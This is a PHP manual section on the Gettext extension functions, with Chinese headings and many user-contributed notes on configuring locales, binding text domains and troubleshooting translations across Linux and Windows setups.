在构建PHP的时候要添加 GNU gettext 支持，你必须添加如下选项 --with-gettext[=DIR] DIR 表示 gettext 的安装目录，默认是/usr/local.

User Contributed Notes

There are no user contributed notes for this page.


Gettext 函数

Table of Contents

  • bind_textdomain_codeset — Specify or get the character encoding in which the messages from the DOMAIN message catalog will be returned
  • bindtextdomain — Sets or gets the path for a domain
  • dcgettext — Overrides the domain for a single lookup
  • dcngettext — Plural version of dcgettext
  • dgettext — Override the current domain
  • dngettext — Plural version of dgettext
  • gettext — Lookup a message in the current domain
  • ngettext — Plural version of gettext
  • textdomain — Sets the default domain

User Contributed Notes

richardbrinkman at hotmail dot com 14-Nov-2016 11:28
Gettext caches the machine readable *.mo files. This makes it pretty fast but also impossible to change a .mo file while running an application. Since PHP is running as a server, you cannot update your .mo file and see your new translation immediately. There are two ways to overcome this caching problem:

1. Restart your webserver. For example by a `systemctl restart apache2`. This will kill already running php processes and reload them afterwards.

2. If you don't have rights to restart a webserver (for example you are using a shared host), you can change the domain. Use for example this PHP code to hard link the new domain to the changed .mo files:

$locale = "nl_NL.utf8"; //set this to your language
setlocale(LC_ALL, $locale);
putenv('LANG=' . $locale);
$mtime = 0;
$translationDir = "locale"; //or where ever you store your translations
$originals = glob("$translationDir/*/LC_MESSAGES/messages.mo");
foreach ($originals as $file)
    $mtime = max($mtime, filemtime($file));
$domain = "messages_$mtime";
$current = glob("$translationDir/*/LC_MESSAGES/$domain.mo");
if (count($originals) != count($current)) {
    foreach (glob("$translationDir/*/LC_MESSAGES/messages_*.mo") as $file)
        unlink($file);
    foreach ($originals as $file)
        link($file, substr($file, 0, -3)."_$mtime.mo");
}
bindtextdomain($domain, $translationDir);
textdomain($domain);

What this script does is check whether at least one of the translations is updated and if so remove all messages_*.so and hard link all messages.po to corresponding messages_$mtime.po, where $mtime is set to the latest modified translation file. Since it uses a new domain ("messages_$mtime") it is not cached.
analpaper{gmail} 28-Aug-2008 02:36
in response to richard:
i was using the wildcard * for sometime ago without problem, until today.

i used:
<?php bindtextdomain( '*', './locale' ); ?>
but it seems to fail under some environments (i dont know why, but in diff machines with same software the result is not always as expected)..

then, with:
<?php bindtextdomain( "*", './locale' ); ?>
all is nicely translated again.

i use single quotes always if possible, now there are another think to remember.
---
live2code
Sbastien Ballest-Antich 21-May-2008 06:08
A workaround to use heredoc and gettext strings with sprintf :
<?php
$hd = <<<EOD
   <p>%s</p>
   <p>%s</p>
EOD;
$hdgt = sprintf($hd, _('Heredoc'), _('gettext'));
var_dump($hdgt);
?>
titan at phpdevshell dot org 07-Mar-2008 11:25
If you would like to create a .po file with include heredoc scripts inside curly brackets {} solution is as follows;

I want to translate what in here (test.php):
<code>
<?php
$EOF = <<<EOF
{$t->__('I want to translate this string.')}
EOF;
?>
</code>

You will have to use the xgettext (gnu utility) with the Python parser like so:
<code>
$ xgettext --default-domain=test --keyword=__ --keyword --language=Python test.php
</code>

The above terminal command might seem wrong with --keyword used twice, this is however correct.
SEWilco 25-Jul-2007 02:21
People have suggested several combinations of configuration options.  Consider trying nested loops with various combinations of language names (with and without character set suffixes) and pathnames.  A gettext() call in the middle of the loops can test for success (a string being translated).

"Of 4374 localization setup variations tested there were 0 successes."

Sometimes one just has to fix the system and PHP configuration.
jon at nospam dot foo 25-Apr-2007 03:37
I'm sure I'll confuse further, but I feel compelled to chime in.  I got stuck on this a bit...

It's absolutely critical that your gettext installation supports the locale you are trying to use in your setlocale(LC_MESSAGES,$locale) call.

This does not work:

setlocale(LC_MESSAGES,"en");

in OpenSUSE 10.2, because /usr/lib/locale does not contain the directory "en" (out of the box), even though your custom LC_MESSAGES domain location might.

In OpenSUSE 10.2, at least, /usr/lib/locale contains for USA English:

en_US
en_US.iso885915
en_US.utf8

(again, not "en").

It might be possible to set up an alias, I'm not sure (does anyone have a idea about this).

My goal was to use HTTP_ACCEPT_LANGUAGE to set locale (I realize that locale != language, but it seems that gettext uses locale to assign language (scratches head) ).  Opera in OS X does not send "en_US".  However, Firefox does out of the box.  I'm not sure if it's supposed to work this way, but it seems like it should, and so the way Opera handles this appears to be an issue.  Incidentally, Safari simples send "en" in HTTP_ACCEPT_LANGUAGE, and will also not work.

This compelled me to set a configurable default locale (e.g "en_US") in my PHP app, which one probably should do anyway, because HTTP_ACCEPT_LANGUAGE might be blank.
jeremy at jeremy dot se dot nospam 20-Feb-2007 11:27
As some of you have mentioned, you must have the locales compiled on your system first. How this is done is depending on your system/distribution *sigh*

In every case you need to have gettext installed on your system. Users running a Linux with a recent version of libc will have gettext in libc already.

Here's an example for those of you running Ubuntu Edgy.

First of all, have a look in /usr/share/i18n/SUPPORTED, here are the locales that are supported on your system. To compile a locale we will use the command "locale-gen". ("man 8 locale-gen" is good reading)

This command reads configuration from files in the folder /var/lib/locales/supported.d/ In these files the locales and charsets are defined.

If we take swedish as an example, start by creating a file called "sv" in /var/lib/locales/supported.d/ and then put in something like "sv_SE.UTF8 UTF8" (without the " ") This says that we want the locale sv_SE to be built with charmap UTF-8. Check the file /usr/share/i18n/SUPPORTED for other alternatives.

Now we run "locale-gen" which will compile all locales defined in /var/lib/locales/supported.d/ and put them in /usr/lib/locales (yes that's a lot of locations...)

Now you're ready to go...

Create a php-file (e.g. hello.php) where all strings you want to translate are surrounded with _("string here");

next run "xgettext hello.php", this creates a file called messages.po, which is you translation-file (pot). Change the "Content-Type: text/plain; charset=CHARSET\n" in this file and replace CHARSET with UTF-8 in this case. Next translate all strings like this.

#: hello.php:3
msgid "hello!"
msgstr "hej!"

Save and use the command "msgfmt -o hello.mo messages.po" which will create a compiled .mo file called hello.mo

This file is then placed in a directory structure somewhere your Apache can read it. The structure looks like this:

"locale/sv/LC_MESSAGES/hello.mo"

Next, let php know what we're doing. We point to where we have our translations. Add the following at the top of hello.php

bindtextdomain('hello','/somepath/locale');

This binds the file hello.mo to the locale/ directory you created.
Then set the locale. LC_ALL tells that we want everything translated. Might not be good at all times, as another person here suggested.

setlocale(LC_ALL, "sv_SE.UTF-8");

Finally select the that we want to use hello.mo

textdomain('hello');

That should be it! Try it out..

If you get any problems try restarting Apache as it seems to cache the locales.

If you are running command line you might have to set the environment variable LANGUAGE to your locale as well. I didn't have to do that to get it working in apache though, but you might...

putenv("LANGUAGE=sv_SE.UTF-8");
djogopatrao at gmail dot com 31-Oct-2006 03:57
Juan Liska, I found an alternative. Instead of renaming or adding a alias to the locale, I simply changed

$language = 'pt_BR';

to

$language = 'pt_BR.UTF-8';
putenv("LANG=$language");
setlocale(LC_ALL, $language)

and it did work fine!
konrads/smelkovs/gmail/com 11-Oct-2006 07:16
re LC_MESSAGES for windows users, LC_MESSAGES should be defi0ned as 5
C Snover 13-Aug-2006 04:26
I think that it bears mentioning that most documentation and tutorials you will find say that you should setenv(LC_ALL, $locale), but this only works IF THE LOCALE IS VALID ON THE LOCAL MACHINE. If you are using a locale that does not exist on the system or is not valid (like something returned from the HTTP Accept-Language header, such as 'ja', which is never a valid locale because it does not include the country code JP), you will probably be pulling your hair out for HOURS trying to figure out why the damn thing isn't working.

What I have found is that setting the LANGUAGE variable (eg. setenv("LANGUAGE=$locale")) will allow gettext to search inside your locale directories, even if the locale is not actually valid on the local system.

So, to summarize:

This will work:
<?php
$locale = 'ja'; // Pretend this came from the Accept-Language header
$locale_dir = './locale'; // your .po and .mo files should be at $locale_dir/$locale/LC_MESSAGES/messages.{po,mo}

putenv("LANGUAGE=$locale");
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

This will not work:
<?php
$locale = 'ja';
$locale_dir = './locale';

putenv("LC_ALL=$locale");
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

This will also not work:
<?php
$locale = 'ja';
$locale_dir = './locale';

setlocale(LC_ALL, $locale);
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

Nor will this work:
<?php
$locale = 'ja';
$locale_dir = './locale';

setlocale(LC_MESSAGES, $locale);
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

For reference, this was tested on PHP 5.1.2 + LigHTTPd 1.4.11 + gettext 0.14.5 on Ubuntu Dapper 6.06. It should be true for any variant of Linux, however, as well as older versions of these software packages.
richard at hirner dot at 13-Jul-2006 04:43
the * wildcard doesn't work for me (php 5)... I have to use bindtextdomain for each textdomain
webmaster [at] ttw [dash] tool [dot] de 21-May-2006 04:49
If you want to use messages from multiple domains with .mo-files residing in non-standard locations remember to place a bindtextdomain()-call for each domain as "unbound" domains will be looked for in the standard location (usually "/usr/share/locale" on *nix)

<?php

    bindtextdomain('foo','/some/dir/with/mo_files');
    bindtextdomain('bar','/another/mo_file/dir');

    echo dgettext('foo','Text to be translated using the foo-catalog.');
    echo dgettext('bar','Text from a different catalog named bar.');

?>

If all the .mo-files you are using reside in one and the same directory, you may use the "*"-wildcard like this:

<?php

    bindtextdomain('*','/directory/with/all/mo_files');

?>

This code was tested on PHP 5.1.4
info at adaniels dot nl 19-Apr-2006 12:19
As stated by robert at klugher dot com:
The environment setting 'LANGUAGE' gets priority above any local setting. This means that changing LC_ALL/LC_MESSAGES and LANG as done in almost all examples, won't do anything.

So if you've done
<?php
    $language = "nl_NL";
    putenv("LANG=$language");
    setlocale(LC_ALL, $language);
    ...
?>
but the text is still displayed in english. Try also setting the LANGUAGE variable.
<?php
    $language = "nl_NL";
    putenv("LANGUAGE=$language");
    putenv("LANG=$language");
    setlocale(LC_ALL, $language);
    ...
?>
birkholz at web dot de 28-Mar-2006 09:52
> stefan+usenet at froehlich dot priv dot at wrote at 5-May-2004 01:30:
> Reading the line
>
> <? php setlocale(LC_ALL, 'de_DE'); ?>
>
> here over and over again, I have to warn using it, as there are severe caveats.
> For certain locales, LC_NUMERIC swaps period and comma, which may e.g. lead to
> decimals silently stripped of numbers, when inserting rows into an SQL database.
>So DON'T do this, but use
>
> <? php setlocale(LC_MESSAGES, 'de_DE'); ?>
>
> instead, which does exactly what you want, without any nasty side effecs.

For all Windows-Users:
Be warned the LC_MESSAGES seems to be NOT set on Windows with PHP 5.1.2, so if you develope applications for a Linux-System and want to make it multi-language using gettext, you will get problems using LC_MESSAGES on your Windows-Developement-Box.
You can try to solve this problem by putting a

<?php if (!defined('LC_MESSAGES')) define('LC_MESSAGES', 6); ?>

to your script to get no warning if you pass LC_MESSAGES to the setlocale()-function.
Juan Liska 15-Nov-2005 03:09
if you're having trouble with setlocale (if it's returning false) on ubuntu or debian:

nano /etc/locale.gen

make sure that the locales taht you want are in the list, if not, add them. for instance, i wanted es_GT (b/c i have an app that must run on redhat and debian, i cant change to es_GT.UTF-8) so, add:

es_GT UTF-8

then run:

locale-gen

you now have the locales you want, not just the ones the system magically came with
milky#users:sf/net 09-Jun-2005 06:12
There exists an emulation for the gettext functions - obviously slower than the native binding, but can be used on shared servers which lack the extension. It is believed to be rather useful as fallback (comes already encapsulated with if-function_exists checks).
See the ext/ directory in the [ http://freshmeat.net/p/upgradephp ] tarball.  Support for plural translations isn't there, because that is too hard to get reimplemented reliably.
tucsi at c2 dot hu 18-May-2005 04:09
If your gettext translation does not work in safe mode, than try to set this in the php.ini:
safe_mode_allowed_env_vars = PHP_,LANG
Maxwel Leite -maxwelleite at gmail com- 27-Apr-2005 12:36
PHP-gettext is developed to be able to read gettext MO files directly, without requiring anything other than PHP:
https://savannah.nongnu.org/projects/php-gettext/
elonen at iki dot fi 30-Mar-2005 01:51
For making localized copies of PHP files (statical l10n), here's a GPL'd command line tool: http://iki.fi/elonen/code/pophorator/
dpatton at confluence dot org 27-Feb-2005 10:47
Make sure you check your webserver configuration before deciding to use gettext, because if you are running in a multi-threaded environment you should not use gettext, as it is not thread-safe.

A future version of gettext(possibly 0.15) may be thread-safe.
Any gettext dependencies, such as glibc would also need to be thread-safe.

Apache 1.3 on Unix generally is non-threaded, but on Windows it is multithreaded.
Apache 2.0 has support for MPMs(Multi-Processing Modules), some of which support multiple threads:
http://httpd.apache.org/docs-2.0/mpm.html
zixia at zixia dot net 11-Jun-2004 02:42
If gettext does not work with your locale, ie 'zh_CN', just going to see if the output of command "localedef --list-archive" contains your locale('zh_CN' in this example).
If it not, try to use a exist locale or use "localedef" to create one: "localedef -f GBK -i zh_CN zh_CN" in my case.
mikolaj at webgate dot bg 10-Jun-2004 04:54
winXP, PHP 4.3.5 as Apache1.3.29 module

Two hints for Windows users.

I found setting locale is neither sufficient nor nessecery. To get it work I needed to set either LC_ALL or LANG enviroment variable to my locale. Anyway this value must be proper for setlocale so it is good to test with it. In my case it was bgr_BGR for bulgarian according to http://www.unicode.org/onlinedat/countries.html

gettext checks for files once and keeps them in cashe. Especially it means that if it doesn't find your files it won't search again, so restart Apache after any directory changes!!

My minimal working script:
<?php
// translation file: D:\Apache\htdocs\mypage\locale\bgr_BGR\LC_MESSAGES\messages.mo
putenv("LC_ALL=bgr_BGR");
bindtextdomain('messages', 'D:\Apache\htdocs\mypage\locale\\');
echo gettext("Hello");
?>
stefan+usenet at froehlich dot priv dot at 05-May-2004 04:30
Reading the line

<? php setlocale(LC_ALL, 'de_DE'); ?>

here over and over again, I have to warn using it, as there are severe caveats. For certain locales, LC_NUMERIC swaps period and comma, which may e.g. lead to decimals silently stripped of numbers, when inserting rows into an SQL database. So DON'T do this, but use

<? php setlocale(LC_MESSAGES, 'de_DE'); ?>

instead, which does exactly what you want, without any nasty side effecs.
kocio at irc dot pl 03-May-2004 03:26
Following three lines take about 0.5 second to execute (Debian, Celeron 2GHz, 256MB RAM):

setlocale(LC_ALL, 'pl_PL');
bindtextdomain('my_domain', '../dir/' . 'locale');
textdomain('my_domain');

I think that such delay is important enough to be mentioned in the documentation. In my particular case, it means more than doubled execution time for the entire script.
dev.php at tfelber.net 26-Aug-2003 07:35
Check your

/etc/locales.aliases for "english en_GB.ISO-8859-1" (mentioned before)

and your

/etc/locales.gen for en_GB.ISO-8859-15 ISO-8859-15

I'm not sure if only this entry solved the problem. In my case this entry was made by an dpkg-reconfigure locales (debian), where i created the locales.

Translation only works with de_GE@euro and  en_GB.ISO-8859-15 (first column in you locales.gen)
wouter at grep dot be 13-Aug-2003 12:28
Of course, translation is only interesting if you provide the user with the language and encoding he asks for. Since there's part of the HTTP protocol that allows you to specify that, it's nice if one can use that information to pick the 'right' translation out of the ones you have available.

I wrote something that does just that -- it parses the 'Accept-Language' and 'Accept-Charset' HTTP/1.1 headers, and tells you which one the user prefers out of a list you provide. You can download it at http://www.grep.be/articles/php-accept.php

Note that even if the user's browser may support this, the user may not know about it; as such, it's probably good practice not to remove links to other-languaged versions, so that people can still get a version of your site in another language if they so prefer.
jc 14-Jul-2003 01:15
I had a lot of problems getting gettext to work (RedHat 7.3). After reading ALL the comments in this manual, I got it to work OK.

In summary, take care that:

1) You use a full locale in the setlocale()
2) Your language_country exists in the /usr/share/locale/locale.alias
3) It seems that Apache needs to be restarted (a "graceful" did the trick for me)
4) Your .mo files must be named after the domain

My code:

$language = "es_ES";
$locale = setlocale(LC_ALL, $language);

$gettext_domain = 'messages';
bindtextdomain($gettext_domain, "/full/path/to/locale");
textdomain($gettext_domain);
anim8 17-Jun-2003 06:15
Even though in some cases setlocale() may require a country code in addition to the language code this does not mean that it is required for gettext.

If setlocale() is set to either es_ES or es_MX gettext() will still get the text from a po file in the 'es' folder.

It probably is not a good idea to go changing a systems alias file(s) just to avoid the verbosity of the ISO standard because:
  a) you might break something
  b) your code just lost it's portability

.
13-Jun-2003 07:41
The way I got gettext to work with just a standard "de" or "fr" instead of "de_DE" was I overwrote my /usr/share/locale/locale.alias with /usr/lib/X11/locale/locale.alias file.  The I restarted Apache.  Reason I did this was it appeared the X11 file was more up to date and more modernised!
Picco 08-Jun-2003 10:45
Note to Chinese programmers....

Took me hours to figure out you cannot use

LANG=zh
but have to use
LANG=zh_TW
on some machines...

a good way to test will be to check the return of setlocale()
robert at klugher dot com 25-Feb-2003 05:24
One trick I found after HOURS of tries :

when you use the setlocale(), PHP will use the locale info it will find in, for example, /usr/share/locale to set the language info for LC_ALL, LC_MESSAGES, ...

You can check the exact info it will use by using putenv() with LANG=.... and looking at the return value of setlocale(LC_ALL, ""). The language value your gettext function will use to look for your translation file is the one given for LC_MESSAGES.

Example :

I was setting the LANG as fr_BE, and placed the translation file in dirxxx/locale/fr_BE/LC_MESSAGES/...
As it was locale info in my system for fr_BE but NOT LC_MESSAGES, PHP choosed to use the LC_MESSAGES settings for fr_FR instead and then, was looking for a translation file in dirxxx/locale/fr_FR/LC_MESSAGES/..., which wasn't found of course.

So, just make sure to look at the return value of setlocale to see what language value is associated to LC_MESSAGES and, then, to know in which subdirectory the translation file will be looked for by gettext.

Robert
php at zpod dot ca 29-Jan-2003 07:24
For those of you just trying to get a script working and your provider doesn't support gettext, you can bypass the international stuff by adding this:

function _($str) {
    return $str;
}
Eneko Lacunza enlar at enlar dot net 16-Jan-2003 08:20
Some tips from my Red Hat Linux 7.3 system.

It didn't work for me until I set a full locale (i.e. es_ES) with setlocale.

I was trying with Michele Manzato's example (thank you!), but as it sets the language without the country, it was failing for me. Here is the example "fixed" with full locale:

// Change to script directory
// (Not needed in RH 7.3)
$path = dirname(getenv(PATH_TRANSLATED));
chdir($path);

// Set the language as full locale 'es_ES'
$language = 'es_ES';
putenv("LANG=$language");
setlocale(LC_ALL, $language);

// Set the text domain as 'mydomain'
$domain = 'mydomain';
bindtextdomain("$domain", "./locale");
textdomain("$domain");

// The .mo file searched is:
// ./locale/es_ES/LC_MESSAGES/mydomain.mo
// or if previous one doesn't exist:
// ./locale/es/LC_MESSAGES/mydomain.mo

echo gettext("Hello world!");

Hope this helps!
Eneko.
php at dynaperl dot com 25-Jun-2002 06:49
If you install from SuSE Dist. you need glibc-locale.rpm to let gettext work.

mfg ralph.
mgvNOSPAM at fx dot ro 04-Jun-2002 07:47
If you're as clueless as I am, please note the following:
1. Although most comments list setlocal() in the code, that's not actually required for translations - read the docs under "string functions" for details (also, the official gettext() examples don't include it);
2. hace_x's example is really cool, except you need to know that all "n"'s at the end of his strings should have a backslash before - they're actually EOL characters, but they somehow got messed up and I needed two hours to find that out...
Michele dot Manzato at verona dot miz dot it 14-Sep-2001 03:52
Gettext is great, but there are a few caveats you have to consider in order to make it work. Unfortunately the gettext docs isn't so plain and clear...

The .mo file created with the gettext utilities must be:

[bindtextdomain's dir]/[language]/LC_MESSAGES/[domain].mo

otherwise gettext() function will fail to find it (this is true in win32, don't know about Un*ces). By the way you don't get any error message, the strings will simply remain untranslated.

Second, you must make sure which is the current directory if you use a relative path in bindtextdomain. On some systems the script directory isn't the current directory, so you have to chdir() there.

Then, of course, make sure that the appropriate gettext extension are loaded by PHP by looking at the php configuration file.

Here is some sample code:

// Change to the script directory
$path = dirname(getenv(PATH_TRANSLATED));
chdir($path);

// Set the language as 'it'
$language = 'it';
putenv("LANG=$language");
setlocale(LC_ALL, $language);

// Set the text domain as 'mydomain'
$domain = 'mydomain';
bindtextdomain("$domain", "./locale");
textdomain("$domain");

// The .mo file searched is:
// ./locale/it/LC_MESSAGES/mydomain.mo

echo gettext("Hello world!");

Have fun!
Michele
11-Jul-2001 05:40
It is probably obvious to many of you,  but I thought it was worth mentioning that the domain is the name of the .mo files that contain the string catalogue (without the extension).

so if you have a catalogue myPage.mo for each page in './locale/lg/LC_MESSAGE' and some generic catalogues (e.g. errorMsg.mo) in '/global/locale/lg/LC_MESSAGE', you can do

bindTextDomain("$myPage", './locale');
bindTextDomain('errorMsg','/global/locale' );
textDomain('myPage');
print(getText('Welcome'));
/.../
if($err)printf(dGetText('errorMsg','you have an error here'));

Ivan


Specify or get the character encoding in which the messages from the DOMAIN message catalog will be returned

  • ? Gettext 函数
  • bindtextdomain ?
  • PHP Manual
  • Gettext 函数
  • Specify or get the character encoding in which the messages from the DOMAIN message catalog will be returned

bind_textdomain_codeset

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

bind_textdomain_codeset — Specify or get the character encoding in which the messages from the DOMAIN message catalog will be returned

说明

bind_textdomain_codeset(string $domain, ?string $codeset): string|false

bind_textdomain_codeset() allows to set or get the encoding in which messages from domain will be returned by gettext() and similar functions.

参数

domain

The domain.

codeset

The code set. If null, the currently set encoding is returned.

返回值

A string on success.

更新日志

版本 | 说明
8.0.3 | codeset is nullable now. Previously, it was not possible to retrieve the currently set encoding.

注释

Note:

The bind_textdomain_codeset() information is maintained per process, not per thread.

User Contributed Notes

jon at rejon dot org 31-Aug-2006 12:58
So, by using this function and by setting the LANGUAGE variable, you should be able to have a functioning i18n system that is not dependent upon a system's locale installation. Here is a sample from a method I created for a language class. Look for it on http://wiki.creativecommons.org/Developer soon:

    function Init ()
    {
        // set the LANGUAGE environmental variable
        // This one for some reason makes a difference FU@#$%^&*!CK
        // and when combined with bind_textdomain_codeset allows one
        // to set locale independent of server locale setup!!!
        if ( false == putenv("LANGUAGE=" . $this->_language ) )
            CCDebug::Log(sprintf("Could not set the ENV variable LANGUAGE = %s",
                                 $this->_language));

        // set the LANG environmental variable
        if ( false == putenv("LANG=" . $this->_language ) )
            CCDebug::Log(sprintf("Could not set the ENV variable LANG = %s",
                                 $this->_language));

        // if locales are not installed in locale folder, they will not
        // get set! This is usually in /usr/lib/locale
        // Also, the backup language should always be the default language
        // because of this...see the NOTE in the class description

        // Try first what we want but with the .utf8, which is what the locale
        // setting on most systems want (and is most compatible
        // Then just try the standard lang encoding asked for, and then if
        // all else fails, just try the default language
        // LC_ALL is said to be used, but it has nasty usage in some languages
        // in swapping commas and periods! Thus try LC_MESSAGE if on one of
        // those systems.
        // It is supposedly not defined on WINDOWS, so am including it here
        // for possible uncommenting if a problem is shown
        //
        // if (!defined('LC_MESSAGES')) define('LC_MESSAGES', 6);
        // yes, setlocale is case-sensitive...arg
        $locale_set = setlocale(LC_ALL, $this->_language . ".utf8",
                                        $this->_language . ".UTF8",
                                        $this->_language . ".utf-8",
                                        $this->_language . ".UTF-8",
                                        $this->_language,
                                        CC_LANG);
        // if we don't get the setting we want, make sure to complain!
        if ( ( $locale_set != $this->_language && CC_LANG == $locale_set) ||
             empty($locale_set) )
        {
            CCDebug::Log(
                sprintf("Tried: setlocale to '%s', but could only set to '%s'.",                        $this->_language, $locale_set) );
        }

        $bindtextdomain_set = bindtextdomain($this->_domain,
                                  CC_LANG_LOCALE . "/" . $this->_locale_pref );
        if ( empty($bindtextdomain_set) )
            CCDebug::Log(
            sprintf("Tried: bindtextdomain, '%s', to directory, '%s', " .
                    "but received '%s'",
                    $this->_domain, CC_LANG_LOCALE . "/" . $this->_locale_pref,
                    $bindtextdomain_set) );

        bind_textdomain_codeset($this->_domain, "UTF-8");
        $textdomain_set = textdomain($this->_domain);
        if ( empty($textdomain_set) )
            CCDebug::Log(sprintf("Tried: set textdomain to '%s', but got '%s'",
                                 $this->_domain, $textdomain_set));

    } // end of method Init ()
przemekkus at interia dot pl 05-Jun-2006 11:54
I had problems with German "umlauts" when using gettext. So, this is how it can be resolved:

I've put these lines itom my PHP code:

$domain = "messages";
bindtextdomain($domain, "path_to_messages_dir");
bind_textdomain_codeset($domain, 'ISO-8859-15');
textdomain($domain);

It works!
duckx at mezimail dot com 24-May-2004 11:33
First the the url of the gettext manual changed:
http://www.gnu.org/software/gettext/manual/

Secondly, lets explain a little bit what this fonction does.
By default, gettext will use the LC_CTYPE of the language you choose (for example fr_FR).
This LC_CTYPE is extracted from your locales.alias file in your configuration dir (Should be /etc/locales.alias).
By default, the encoding is frequently iso-8859-1.

So if you want to make your site utf-8 aware, you need to bind your domain with the right encoding.
Here is a sample:
<?php
   $locale="fr_FR.UTF-8"
   setlocale(LC_MESSAGES,  $locale);
   $domain = 'your_text_domain';
   bindtextdomain($domain, './translations_path');
   textdomain($domain);
   bind_textdomain_codeset($domain, 'UTF-8');

?>

As quoted in other notes, the translations path should be like
/translations_path
   /de_DE/
       /LC_MESSAGES
   /fr_FR/
       /LC_MESSAGES
   ...

Your translation goes in the LC_MESSAGES dirs ... Hopes this helps :)


Sets or gets the path for a domain

  • ? bind_textdomain_codeset
  • dcgettext ?
  • PHP Manual
  • Gettext 函数
  • Sets or gets the path for a domain

bindtextdomain

(PHP 4, PHP 5, PHP 7, PHP 8)

bindtextdomain — Sets or gets the path for a domain

说明

bindtextdomain(string $domain, ?string $directory): string|false

The bindtextdomain() function sets or gets the path for a domain.

参数

domain

The domain.

directory

The directory path. An empty string means the current directory. If null, the currently set directory is returned.

返回值

The full pathname for the domain currently being set, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.3 | directory is nullable now. Previously, it was not possible to retrieve the currently set directory.

示例

Example #1 bindtextdomain() example

<?php

$domain = 'myapp';
echo bindtextdomain($domain, '/usr/share/myapp/locale');

?>

以上示例会输出：

/usr/share/myapp/locale

注释

Note:

The bindtextdomain() information is maintained per process, not per thread.

User Contributed Notes

roel dot vermeulen at gmail dot com 05-Jun-2016 05:49
I recommend using absolute paths in the $directory parameter. This caused me several hours to debug as Ajax calls to my localization functions messed up the path. And since no error if thrown if the path in $directory cannot be found, one should check the result always:

<?php
    // Imagine the path for this file is "/localization" and your locales are in the "/locale" directory.
    $pathToDomain = __DIR__ . "/../locale";
    if ($pathToDomain != bindtextdomain($domain, $pathToDomain)) {
        // Error handling.
    }
?>
n8klatt 20-Nov-2014 05:47
The name of your .mo file must match the $domain, e.g. name your files messages.mo and call bindtextdomain("messages", $directory).


Overrides the domain for a single lookup

  • ? bindtextdomain
  • dcngettext ?
  • PHP Manual
  • Gettext 函数
  • Overrides the domain for a single lookup

dcgettext

(PHP 4, PHP 5, PHP 7, PHP 8)

dcgettext — Overrides the domain for a single lookup

说明

dcgettext(string $domain, string $message, int $category): string

This function allows you to override the current domain for a single message lookup.

参数

domain

The domain

message

The message

category

The category

返回值

A string on success.

参见

  • gettext() - Lookup a message in the current domain

User Contributed Notes

chaosben at gmail dot com 04-Feb-2021 04:13
As of today, you can use the LC_* constants as last parameter.

<?php
echo dcgettext('main', 'My Text', LC_MESSAGES);
?>
zak at nucleus dot com 04-Dec-2000 03:05
The category argument allows a specific category of the locale settings to be used for fetching a message.  Valid categories are:

LC_CTYPE, LC_NUMERIC, LC_TIME, LC_COLLATE, LC_MONETARY, LC_MESSAGES and LC_ALL.

Note that the category must be specified with a numeric value, instead of the constant name.  The values are:

LC_CTYPE        0
LC_NUMERIC      1
LC_TIME         2
LC_COLLATE      3
LC_MONETARY     4
LC_MESSAGES     5
LC_ALL          6


Plural version of dcgettext

  • ? dcgettext
  • dgettext ?
  • PHP Manual
  • Gettext 函数
  • Plural version of dcgettext

dcngettext

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

dcngettext — Plural version of dcgettext

说明

dcngettext(
string $domain,
string $singular,
string $plural,
int $count,
int $category
): string

This function allows you to override the current domain for a single plural message lookup.

参数

domain

The domain

singular

plural

count

category

返回值

A string on success.

参见

  • ngettext() - Plural version of gettext

User Contributed Notes

There are no user contributed notes for this page.


Override the current domain

  • ? dcngettext
  • dngettext ?
  • PHP Manual
  • Gettext 函数
  • Override the current domain

dgettext

(PHP 4, PHP 5, PHP 7, PHP 8)

dgettext — Override the current domain

说明

dgettext(string $domain, string $message): string

The dgettext() function allows you to override the current domain for a single message lookup.

参数

domain

The domain

message

The message

返回值

A string on success.

参见

  • gettext() - Lookup a message in the current domain

User Contributed Notes

viral at noeticsolutions dot com 30-Mar-2006 02:42
While using this function, remember to call bindtextdomain for as many domains as you want to use in your application.  For example, if I have module1 and module2 as 2 separate domains in the same application, you can do the following:

bindtextdomain("module1", "//path/to/my/locale/folder");
bindtextdomain("module2", "//path/to/my/locale/folder");
textdomain("module1");

echo _("Label1"); // this call will get the message from module1
echo dgettext("module2", "Label1"); // this call will get the message from module2

===
Viral Shah


Plural version of dgettext

  • ? dgettext
  • gettext ?
  • PHP Manual
  • Gettext 函数
  • Plural version of dgettext

dngettext

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

dngettext — Plural version of dgettext

说明

dngettext(
string $domain,
string $singular,
string $plural,
int $count
): string

The dngettext() function allows you to override the current domain for a single plural message lookup.

参数

domain

The domain

singular

plural

count

返回值

A string on success.

参见

  • ngettext() - Plural version of gettext

User Contributed Notes

There are no user contributed notes for this page.


Lookup a message in the current domain

  • ? dngettext
  • ngettext ?
  • PHP Manual
  • Gettext 函数
  • Lookup a message in the current domain

gettext

(PHP 4, PHP 5, PHP 7, PHP 8)

gettext — Lookup a message in the current domain

说明

gettext(string $message): string

Looks up a message in the current domain.

参数

message

The message being translated.

返回值

Returns a translated string if one is found in the translation table, or the submitted message if not found.

示例

Example #1 gettext()-check

<?php
// Set language to German
putenv('LC_ALL=de_DE');
setlocale(LC_ALL, 'de_DE');

// Specify location of translation tables
bindtextdomain("myPHPApp", "./locale");

// Choose domain
textdomain("myPHPApp");

// Translation is looking for in ./locale/de_DE/LC_MESSAGES/myPHPApp.mo now

// Print a test message
echo gettext("Welcome to My PHP Application");

// Or use the alias _() for gettext()
echo _("Have a nice day");
?>

注释

Note:

You may use the underscore character '_' as an alias to this function.

Note:

Setting a language isn't enough for some systems and the putenv() should be used to define the current locale.

参见

  • setlocale() - 设置区域信息

User Contributed Notes

naguissa at foroelectro dot net 21-Nov-2023 06:19
I was testing in a self-made NAS (Debian + OpenMediaVault) and I was not getting SOME translations.

Some translations worked OK but some others were ignored.

The problem was caused because I had not added that locales to my NAS locale:

1) Edit file /etc/locale.gen
2) Check if your locale is active (written and uncommented).
3) Execute "locale-gen" as root (or sudo).

So, in short, if you have a Linux system and your translations are ignore check if you have that locale active in your system.
ck at claudiokuenzler dot com 16-Nov-2020 12:57
If you come across a situation where the translation works fine on CLI but not on Apache, it may be caused by the Perl Apache module.

Basic translate.php:

<?php
// Set locale
putenv("LC_ALL=de_CH.UTF-8");
